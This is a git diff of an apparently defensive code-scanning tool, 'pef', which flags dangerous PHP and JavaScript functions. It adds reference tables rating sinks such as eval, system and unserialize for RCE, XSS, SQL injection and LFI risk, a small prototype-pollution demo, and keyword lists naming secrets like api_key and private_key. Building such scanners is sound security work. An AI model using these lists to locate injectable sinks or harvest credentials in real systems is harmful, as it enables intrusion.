argparse - -from imports.beautyConsole import beautyConsole - -jsfile = open('js/foobar.js', 'r') -file_read = jsfile.readlines() - - -# variables -variables = [] -variable_to_trace = '' - -variable_definition_regex = '(let|const|var)\s+([_$a-zA-Z0-9]+)' - -line_no = 0 - - -def decorate_varname(var_name): - return beautyConsole.getColor("red") + var_name + beautyConsole.getColor("white") - -def decorate_source(src_line): - return beautyConsole.getColor("yellow") + src_line + beautyConsole.getColor("white") - -parser = argparse.ArgumentParser() -parser.add_argument( - "-v", "--variable", help="Name of variable to trace") - -ARGS = parser.parse_args() - -if ARGS.variable: - variable_to_trace = ARGS.variable.strip() - -print "\n\n[+] STARTING ANALYSIS...\n" -for line in file_read: - line = line.replace('\n', '') - line_no = line_no + 1 - - # print "line {}: {}".format(line_no, line) - res = re.search(variable_definition_regex, line) - if res: - variable_name = res.group(2) - print "\n[+] found {} variable definition in line {}: {}".format(decorate_varname(variable_name), line_no, decorate_source(line)) - inner_line_no = 0 - - if variable_name == variable_to_trace: - for inner_line in file_read: - inner_line = inner_line.replace('\n', '') - inner_line_no = inner_line_no + 1 - if variable_name + '=' in inner_line.replace(' ', ''): - print "\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) - if '({})'.format(variable_name) in inner_line.replace(' ', ''): - print "\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) - -print "\n\n[+] DONE\n" diff --git a/nodestructor/test.py b/nodestructor/test.py deleted file mode 100755 index 036d1cf..0000000 --- a/nodestructor/test.py +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/python -import re - -EXCLUDE = ['babel','xxx','eee'] -subdir = 'node_modules/babel-register/lib' - -print [e in subdir for e in EXCLUDE] \ No newline at end of file diff --git a/nodestructor/testfiles/1.js b/nodestructor/testfiles/1.js new file mode 100644 index 0000000..b701134 --- /dev/null +++ b/nodestructor/testfiles/1.js @@ -0,0 +1,5 @@ +const obj1 = {}; +obj1.__proto__.x = 1; +console.log(obj1.x === 1); // true +const obj2 = {}; +console.log(obj2.x === 1); // true diff --git a/pef/imports/beautyConsole.py b/pef/imports/beautyConsole.py index ceb9886..c31e2d7 100755 --- a/pef/imports/beautyConsole.py +++ b/pef/imports/beautyConsole.py @@ -2,15 +2,15 @@ class beautyConsole: """This class defines properties and methods to manipulate console output""" colors = { "black": '\33[30m', - "white": '\33[37m', "red": '\33[31m', "green": '\33[32m', "yellow": '\33[33m', "blue": '\33[34m', "magenta": '\33[35m', "cyan": '\33[36m', + "white": '\33[37m', "grey": '\33[90m', - "lightblue": '\33[94' + "lightblue": '\33[94m' } characters = { @@ -33,10 +33,3 @@ def getSpecialChar(char_name): if char_name in beautyConsole.characters: return beautyConsole.characters[char_name] return "" - - - efMsgFound = "exploitable function call" - eKeyWordFound = "keyword with possibly critical meaning in code" - efMsgGlobalFound = "global variable explicit call" - fiMsgFound = "file include pattern found; potential LFI/RFI detected" - eReflFound = "reflected property found; check for XSS" diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py deleted file mode 100755 index 78b7dcd..0000000 --- a/pef/imports/pefdefs.py +++ /dev/null @@ -1,76 +0,0 @@ -# Definitions for pef.py - -# exploitable functions -exploitableFunctions = ["system(", "exec(", "popen(", "pcntl_exec(", - "eval(", "preg_replace(", "create_function(", "include(", "require(", "passthru(", - "shell_exec(", "popen(", "proc_open(", - "pcntl_exec(", "asset(", "extract(", "parse_str(", "putenv(", "ini_set(", - "mail(", "header(", "unserialize("] - -# other keywords points to critical features, credentials, configs etc. -keywords = [ - "api", - "api_key", - "api_secret_key", - "secret_key", - "secret", - "PRIVATE_KEY", - "private_key", - "token", - "CSRF", - "Arrays.equals", - "HMAC", - "random(", - "mt_rand(", - "rand(", - "hashlib", - "hashed", - "md5", - "sha1", - "sha-1", - "sha2", - "sha-2", - "salt", - "bcrypt", - "admin", - "preg_replace('/.*/e',", - "include(", - "include_once(", - "require(", - "require_once(", - "posix_mkfifo(", - "posix_getlogin(", - "posix_ttyname(", - "getenv(", - "get_current_user(", - "proc_get_status(", - "get_cfg_var(", - "disk_free_space(", - "disk_total_space(", - "parse_str(", - "putenv(", - "ini_set(", - "mail(", - "header", - "chmod", - "chown", - "shell=True", - "pickle.loads", - "yaml.load" -] -# dangerous global(s) -globalVars = ["$_POST", "$_GET", "$_COOKIE", "$_REQUEST", "$_SERVER"] - -# dangerous patterns - LFI/RFI -fileInclude = ["include($_GET", "require($_GET", - "include_once($_GET", "require_once($_GET", - "include($_REQUEST", "require($_REQUEST", "include_once($_REQUEST", "require_once($_REQUEST"] - -# reflected properties which might leads to eg. XSS -reflectedProperties = ["$_SERVER[\"PHP_SELF\"]", - "$_SERVER[\"SERVER_ADDR\"]", - "$_SERVER[\"SERVER_NAME\"]", - "$_SERVER[\"REMOTE_ADDR\"]", - "$_SERVER[\"REMOTE_HOST\"]", - "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]"] diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py new file mode 100644 index 0000000..a0efbfd --- /dev/null +++ b/pef/imports/pefdocs.py @@ -0,0 +1,889 @@ +# Reference(S) for pef.py + +# exploitable functions +exploitableFunctions = { + "javascript": [ + "eval(", + "document.URL", + "document.documentURI", + "document.baseURI", + "location", + "document.cookie", + "document.referrer", + "document.write(", + "innerHTML", + "outerHTML", + "insertAdjacentHTML(", + "location.host", + "location.href", + "location.search", + "Function(", + "textContent", + "innerText", + "URLSearchParams(", + ], + "php": [ + # "`", + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "arse_str(", + "parse_url(", + "preg_replace(", + "create_function(", + "passthru(", + "shell_exec(", + "popen(", + "proc_open(", + "pcntl_exec(", + "extract(", + "putenv(", + "ini_set(", + "mail(", + "unserialize(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + "show_source(", + "highlight_file(", + "fopen(", + "file(", + "fpassthru(", + "fsockopen(", + "gzopen(", + "gzread(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "odbc_exec(", + "sqlsrv_query(", + "PDO::query(", + "move_uploaded_file(", + "echo", + "print(", + "printf(", + "ldap_search(", + "sqlite_", + "sqlite_query(", + "pg_", + "pg_query(", + "mysql_", + "mysql_query(", + "mysqli::query(", + "mysqli_", + "mysqli_query(", + "apache_setenv(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "extract(", + "get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_exec(", + "php_uname(", + "phpinfo(", + "popen(", + "proc_open(", + "putenv(", + "symlink(", + "syslog(", + "curl_exec(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(", + "extractTo(", + "$_POST", + "$_GET", + "$_COOKIES", + "$_REQUEST", + "$_SERVER", + "$_SESSION", + "include($_GET", + "require($_GET", + "include_once($_GET", + "require_once($_GET", + "include($_REQUEST", + "require($_REQUEST", + "include_once($_REQUEST", + "require_once($_REQUEST", + "SELECT.*FROM", + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" + ] +} + +# doc dipslayed: +# 1st element - description +# 2nd element - syntax +# 3rd element - possible vulnerability classes +exploitableFunctionsDesc = { + "javascript": { + "eval()": [ + "The eval() function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.", + "eval(script)", + "RCE", + "critical", + "sink" + ], + "document.URL": [ + "The URL of the document", + "document.URL", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.documentURI": [ + "The documentURI property returns the URI of the document", + "document.documentURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.baseURI": [ + "The baseURI property returns the absolute base URI of the document", + "document.baseURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "location": [ + "The location property of the Window interface is a Location object, which represents the location (URL) of the object to which it is applied.", + "location", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.cookie": [ + "The cookie property of the Document interface represents the cookies of the current document.", + "document.cookie", + "XSS, CSRF, Cookie Injection", + "medium", + "source" + ], + "document.referrer": [ + "The referrer property of the Document interface returns the address of the previous document from which the current document was accessed.", + "document.referrer", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.write()": [ + "The write() method of the Document interface writes a string of text to a document stream opened by document.open().", + "document.write(text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "innerHTML": [ + "The innerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element.", + "element.innerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "outerHTML": [ + "The outerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element, including the element itself.", + "element.outerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "insertAdjacentHTML": [ + "The insertAdjacentHTML() method of the Element interface parses the specified text as HTML or XML and inserts the resulting nodes into the DOM tree at a specified position.", + "element.insertAdjacentHTML(position, text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "location.host": [ + "The host property of the Location interface returns the host and port of the URL.", + "location.host", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.href": [ + "The href property of the Location interface gets or sets the entire URL.", + "location.href", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.search": [ + "The search property of the Location interface gets or sets the query string part of the URL.", + "location.search", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "Function()": [ + "The Function() constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but it is not recommended due to security and performance reasons.", + "new Function([arg1[, arg2[, ...argN]],] functionBody)", + "RCE", + "critical", + "sink" + ], + "textContent": [ + "The textContent property of the Node interface represents the text content of the node and its descendants.", + "element.textContent", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" + ], + "innerText": [ + "The innerText property of the Element interface represents the rendered text content of an element and its descendants.", + "element.innerText", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" + ], + "URLSearchParams": [ + "The URLSearchParams interface defines utility methods to work with the query string of a URL.", + "URLSearchParams()", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "source" + ], + + }, + "php": { + "`": [ + "Allows to execute system command", + "`$command`", + "RCE", + "critical", + "sink" + ], + "system()": [ + "Allows to execute system command passed as an argument", + "system ( string $command [, int &$return_var ] ) : string", + "RCE", + "critical", + "sink" + ], + "exec()": [ + "exec - Execute an external program", + "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", + "RCE", + "critical", + "sink" + ], + "call_user_func_array()": [ + "Call a callback with an array of parameters", + "call_user_func_array ( callable $callback , array $param_arr ) : mixed", + "RCE", + "high", + "sink" + ], + "parse_url()": [ + "parse_url — Parse a URL and return its components", + "parse_url(string $url, int $component = -1): mixed", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "parse_str()": [ + "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", + "parse_str ( string $encoded_string [, array &$result ] ) : void" + "Code Injection", + "high", + "sink" + ], + "eval()": [ + "Evaluate a string as PHP code", + "eval ( string $code ) : mixed", + "RCE", + "critical", + "sink" + ], + "preg_replace()": [ + "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", + "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", + "RCE (in certain conditions)", + "medium" + ], + "create_function()": [ + "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", + "create_function ( string $args , string $code ) : string", + "Code Injection, RCE", + "medium", + "sink" + ], + "passthru()": [ + "Execute an external program and display raw output", + "passthru ( string $command [, int &$return_var ] ) : void", + "RCE", + "critical", + "sink" + ], + "shell_exec()": [ + "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", + "shell_exec ( string $cmd ) : string", + "RCE", + "critical", + "sink" + ], + "popen()": [ + "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", + "popen ( string $command , string $mode ) : resource", + "Code Injection", + "critical", + "sink" + ], + "proc_open()": [ + "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", + "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", + "Code Injection", + "high", + "sink" + ], + "pcntl_exec()": [ + "Executes the program with the given arguments.", + "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", + "RCE", + "critical", + "sink" + ], + "extract()": [ + "Import variables into the current symbol table from an array", + "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", + "Code Injection", + "high", + "sink" + ], + "ini_set()": [ + "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", + "ini_set ( string $varname , string $newvalue ) : string", + "PHP Interpreter behavior change; application settings overwrite", + "low" + ], + "mail()": [ + "Sends an email.", + "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", + "Arbitrary mail sending", + "low", + "sink" + ], + "echo": [ + "Outputs all parameters. No additional newline is appended.", + "echo ( string $arg1 [, string $... ] ) : void", + "XSS, HTML Injection, Content Injection etc.", + "low" + ], + "unserialize()": [ + "unserialize() takes a single serialized variable and converts it back into a PHP value.", + "unserialize ( string $str [, array $options ] ) : mixed", + "Code Injection, RCE (in certain conditions)", + "high", + "sink" + ], + "assert()": [ + "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", + "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", + "RCE, Code Injection (in certain conditions)", + "low" + ], + "call_user_func()": [ + "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", + "call_user_func ( callable $callback [, mixed $... ] ) : mixed", + "Code Injection", + "high", + "sink" + ], + "ereg_replace()": [ + "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", + "ereg_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "eregi_replace()": [ + "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", + "eregi_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_ereg_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_eregi_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "virtual()": [ + "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", + "virtual ( string $filename ) : bool", + "Local File Include, Remote File Include", + "low", + "sink" + ], + "readfile()": [ + "Reads a file and writes it to the output buffer.", + "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "file_get_contents()": [ + "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", + "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "show_source()": [ + "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "highlight_file()": [ + "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "fopen()": [ + "fopen() binds a named resource, specified by filename, to a stream.", + "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "file()": [ + "Reads an entire file into an array.", + "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "fpassthru()": [ + "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", + "fpassthru ( resource $handle ) : int", + "Code Injection, LFI, RFI, RCE (depending on the context)", + "low", + "sink" + ], + "fsockopen()": [ + "Initiates a socket connection to the resource specified by hostname.", + "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", + "RCE (depends on context)", + "low", + "sink" + ], + "gzopen()": [ + "Opens a gzip (.gz) file for reading or writing.", + "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", + "Code Injection, LFI (depends on context)", + "low", + "sink" + ], + "gzread()": [ + "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", + "gzread ( resource $zp , int $length ) : string", + "Code Injection, LFI", + "low", + "sink" + ], + "gzfile()": [ + "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", + "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", + "Code Injection, LFI", + "low", + "sink" + ], + "gzpassthru()": [ + "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", + "gzpassthru ( resource $zp ) : int", + "Code Injection, LFI", + "low", + "sink" + ], + "readgzfile()": [ + "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", + "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", + "Code Injection, LFI, RCE", + "medium", + "sink" + ], + "mssql_query()": [ + "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", + "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", + "SQL Injection", + "high" + ], + "odbc_exec()": [ + "Sends an SQL statement to the database server.", + "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", + "SQL Injection", + "high", + "sink" + ], + "sqlsrv_query()": [ + "Prepares and executes a query", + "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "PDO::query()": [ + "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", + "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", + "SQL Injection", + "medium", + "sink" + ], + "move_uploaded_file()": [ + "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", + "move_uploaded_file ( string $filename , string $destination ) : bool", + "File Include", + "low", + "sink" + ], + "print()": [ + "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", + "print ( string $arg ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "printf()": [ + "Produces output according to format.", + "printf ( string $format [, mixed $... ] ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "ldap_search()": [ + "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", + "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", + "unknown?", + "low" + ], + "header()": [ + "Send a raw HTTP header", + "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", + "Header Injection, Open Redirect", + "low", + "sink" + ], + "sqlite_query()": [ + "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", + "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "pg_query()": [ + "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", + "pg_query ([ resource $connection ], string $query ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "mysql_query()": [ + "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", + "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", + "SQL Injection", + "high", + "sink" + ], + "mysqli_query()": [ + "Performs a query against the database.", + "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "mysqli::query()": [ + "Performs a query against the database.", + "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "apache_setenv()": [ + "Sets the value of the Apache environment variable specified by variable.", + "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", + "ENV server variables overwrite", + "low", + "sink" + ], + "dl()": [ + "Loads a PHP extension at runtime", + "dl ( string $library ) : bool", + "Code Injection, RCE (in certain conditions)", + "low", + "sink" + ], + "escapeshellarg()": [ + "Escape a string to be used as a shell argument", + "escapeshellarg ( string $arg ) : string", + "", + "low" + ], + "escapeshellcmd()": [ + "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", + "escapeshellcmd ( string $command ) : string", + "", + "low" + ], + "get_cfg_var()": [ + "Gets the value of a PHP configuration option", + "get_cfg_var ( string $option ) : mixed", + "Information Disclosure", + "low" + ], + "get_current_user()": [ + "Gets the name of the owner of the current PHP script", + "get_current_user ( void ) : string", + "Information Disclosure", + "low" + ], + "getcwd()": [ + "Gets the current working directory", + "getcwd ( void ) : string", + "Information Disclosure", + "low" + ], + "getenv()": [ + " Gets the value of an environment variable", + "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", + "Information Disclosure", + "low" + ], + "php_uname()": [ + "Returns information about the operating system PHP is running on", + "php_uname ([ string $mode = \"a\" ] ) : string", + "Information Disclosure", + "low" + ], + "phpinfo()": [ + "Outputs information about PHP's configuration", + "phpinfo ([ int $what = INFO_ALL ] ) : bool", + "Information Disclosure", + "medium" + ], + "putenv()": [ + "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", + "putenv ( string $setting ) : bool", + "ENV variable create/owerwrite", + "low", + "sink" + ], + "symlink()": [ + "Creates a symbolic link to the existing target with the specified name link.", + "symlink ( string $target , string $link ) : bool", + "LFI (in certain conditions)", + "low" + ], + "syslog()": [ + "Generate a system log message", + "syslog ( int $priority , string $message ) : bool", + "Log poisoning", + "low" + ], + "curl_exec()": [ + "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", + "curl_exec ( resource $ch ) : mixed", + "SSRF", + "medium", + "sink" + ], + "__destruct()": [ + "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", + "__destruct ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "high", + "sink" + ], + "__wakeup()": [ + "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", + "__wakeup ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__sleep()": [ + "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__serialize()": [ + "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__unserialize()": [ + "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__call()": [ + "Triggered when invoking inaccessible methods in an object context", + "public __call ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__get()": [ + "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", + "public __get ( string $name ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__set()": [ + "Is run when writing data to inaccessible (protected or private) or non-existing properties.", + "public __set ( string $name, mixed $value ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__callStatic()": [ + "Triggered when invoking inaccessible methods in a static context.", + "public static __callStatic ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "filter_var()": [ + "Filters a variable with a specified filter", + "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", + "Validation bypass (in certain conditions)", + "low" + ], + "file_put_contents()": [ + "Write data to a file", + "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", + "Arbitrary file write", + "high", + "source" + ], + "extractTo(": [ + "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", + "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", + "Arbitrary file write", + "medium", + "source" + ], + "SELECT.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "INSERT.*INTO": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "UPDATE.*": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "DELETE.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "$_POST": [ + "$_POST reference found", + "", + "", + "critical", + "source" + ], + "$_GET": [ + "$_GET reference found", + "", + "", + "critical", + "source" + ], + "$_REQUEST": [ + "$_REQUEST reference found", + "", + "", + "critical", + "source" + ], + "$_FILES": [ + "$_FILES reference found", + "", + "", + "high", + "source" + ], + "$_ENV": [ + "$_ENV reference found", + "", + "", + "medium", + "source" + ], + "$_COOKIES": [ + "$_COOKIES reference found", + "", + "", + "high", + "source" + ], + "$_SESSION": [ + "$_SESSION reference found", + "", + "", + "medium", + "source" + ], + "$_SERVER": [ + "$_SERVER reference found", + "", + "", + "medium", + "source" + ] + } +} diff --git a/pef/pef.py b/pef/pef.py index d60ce99..80cb34a 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,117 +1,283 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # -# PHP Exploitable Functions/Vars Scanner -# bl4de | bloorq@gmail.com | Twitter: @_bl4de +# PHP source code grep tool +# bl4de | github.com/bl4de | hackerone.com/bl4de # -# pylint: disable=C0103 -""" -pef.py - PHP static code analysis tool (very, very simple) -by bl4de -GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com -""" -import sys +# pylint: disable=invalid-name, missing-class-docstring, import-error, too-few-public-methods, unused-import, no-self-use,missing-function-docstring,consider-using-enumerate,consider-iterating-dictionary + +# @TODO: +# - allow to scan folder without subdirs +# - allow to scan files by pattern, eg. *.php +# - exclude 'echo' lines without HTML tags + +## Sinks and Sources +# +# for an SQLi, you need a code that makes a raw query to the database +# for an SSRF, you need a code that makes an HTTP request +# for an LFI, you need a code that reads a file +# for an XXE, you need a code that parses an XML with a concrete configuration +# for a DOM-XSS, you need a code that executes HTML or JavaScript +# +# When you are going sources to sinks, the process is: +# +# - you encounter a function call +# - you find the definition +# - repeat until the sink +# +# For sinks to sources, the process is: +# +# - you are in the function definition +# - you find a call of this function. +# - repeat until the source +# + +import argparse import os +import re +import sys -from imports import pefdefs +from imports.pefdocs import exploitableFunctions, exploitableFunctionsDesc from imports.beautyConsole import beautyConsole +# allowed scan levels +ALLOWED_LEVELS = ['ALL', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'] +DEFAULT_LEVELS = 'MEDIUM,HIGH,CRITICAL' -def banner(): +ALLOWED_LANG = ['PHP', 'JavaScript'] +DEFAULT_LANG = 'PHP' + +class PefEngine: """ - Prints welcome banner with contact info + implements pef engine """ - print beautyConsole.getColor("green") + "\n\n", "-" * 100 - print "-" * 6, " PEF | PHP Exploitable Functions scanner", " " * 35, "-" * 16 - print "-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", " " * 22, "-" * 16 - print "-" * 100, "\33[0m\n" + def __init__(self, lang, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): + """ + constructor + """ + self.lang = lang # selected language + self.level = level # scan only for level set of functions + self.source_or_sink = source_or_sink # show only sinks or sources + self.filename = filename # 